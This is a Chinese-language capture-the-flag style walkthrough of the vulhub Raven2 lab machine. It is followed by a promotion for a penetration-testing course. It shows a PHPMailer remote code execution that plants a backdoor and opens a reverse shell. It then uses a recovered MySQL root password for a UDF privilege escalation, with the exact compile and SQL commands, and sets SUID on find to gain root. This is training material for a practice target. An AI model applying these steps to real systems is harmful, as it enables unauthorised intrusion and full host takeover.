点击上方蓝字关注我们
靶机为vulhub靶场中的Raven2
nmap扫描端口开放情况
发现开放了22,80,111端口,操作系统为Linux 访问靶机80端口 利用插件查看中间件和指纹版本(语言为PHP)
目录扫描(dirb)发现靶机是wordpress
建站(可以用wpscan扫描有没有wordpress漏洞)
此外还发现另外一个目录/vendor目录,访问目录发现存在目录遍历
翻看文件README.md文件得知为phpmailer,百度phpmailer知道是一个php发送邮件的程序,且版本小于5.2.18存在漏洞远程命令执行漏洞,查看当前version版本为5.2.16
这里我使用python脚本,复制脚本到桌面,将target改为攻击目标记得加上/contact,否则无法反弹会话回来,backdoor为生成的后门文件,payload改为kali的ip和监听的端口,email那把路径改为目标机的网站根路径,可以在/vendor中查找到网站根目录(msf上也有脚本,但是我用的时候不能直接弹回会话)
然后直接python执行
要访问后门地址就可以弹回shell
执行whoami发现为www-date权限
使用python执行交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
mysql内置函数不满足需要,所以mysql提供了添加新函数的机制,自行添加的mysql函数就称为UDF(Userdefined function-用户自定义函数) udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写
用户可以自定义提权的函数(比如执行系统命令)来进行提权。
1.Mysql版本大于5.1时,udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
2.Mysql版本小于5.1版本时,udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3.掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。这里允许root账户外连,(grant all PRIVILEGES on *.* to 'root'@'192.168.189.1' identified by '112358'; #这条命令就能让root用户指定ip连接)
4.可以将udf.dll写入到相应目录的权限。
使用蚁剑上传LinEnum.sh脚本进行提权信息收集
上传到tmp目录下
运行脚本发现有mysql数据库,且无法直接使用SUID提权
查找数据库配置文件(/var/www/html/wordpress/wp-config.php)
账号root
,密码R3v3nSecurity
使用蚁剑登录mysql数据库,进行mysql udf提权
kali上搜索Linux udf提权脚本
将脚本文件在本地进行编译后上传到靶机的/tmp目录下
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o
将1518.so文件通过蚁剑上传到靶机/tmp目录下
进入数据库进行udf提权
先选择一个数据库
mysql> use wordpressReading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
创建表foo
mysql> create table foo(line blob);Query OK, 0 rows affected (0.02 sec)
读取1518.so并添加到foo表里的一行
mysql> insert into foo values(load_file('/tmp/1518.so'));Query OK, 1 row affected (0.01 sec)
查询刚才添加的数据,并并保存到/usr/lib/mysql/plugin/1518.so
文件(mysql存放自定义函数的地方)
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';Query OK, 1 row affected (0.00 sec)
加载1518.so函数文件用来创建自定义函数
mysql> create function do_system returns integer soname '1518.so';Query OK, 0 rows affected (0.01 sec)
查看mysql.func表
mysql> select * from mysql.func;+-----------+-----+---------+----------+
| name | ret | dl | type |
+-----------+-----+---------+----------+
| do_system | 2 | 1518.so | function |
+-----------+-----+---------+----------+
1 row in set (0.00 sec)
执行chmod u+s /usr/bin/find
命令
mysql> select do_system('chmod u+s /usr/bin/find');+--------------------------------------+
| do_system('chmod u+s /usr/bin/find') |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set (0.01 sec)
退出mysql
mysql> quitBye
查看foo文件touch foo
执行whoami命令,返回root,获得root权限
[email protected]:/var/www/html$ find foo -exec 'whoami' \;root
查看最终flag
如果想要系统学习网络安全技术
不妨加入知识星球课程
《60天入门网络安全渗透测试》
从入门到案例,贴合实战
轻松易懂、好玩实用
限时领取
知识星球
活动优惠券
跟着60天入门学习路线一起学
期待你的到来!
往期推荐
从入门到入狱的技术,可以学,别乱用!
网络安全学习方向和资源整理(建议收藏)
一个web安全工程师的基础学习规划
资源 | 渗透测试工程师入门教程(限时领取)
5年老鸟推荐10个玩Python必备的网站
推荐十个成为网络安全渗透测试大佬的学习必备网站!
那些社工师不为人知的秘密。。。
更多内容请关注公众号
网络安全自修室
点个在看你最好看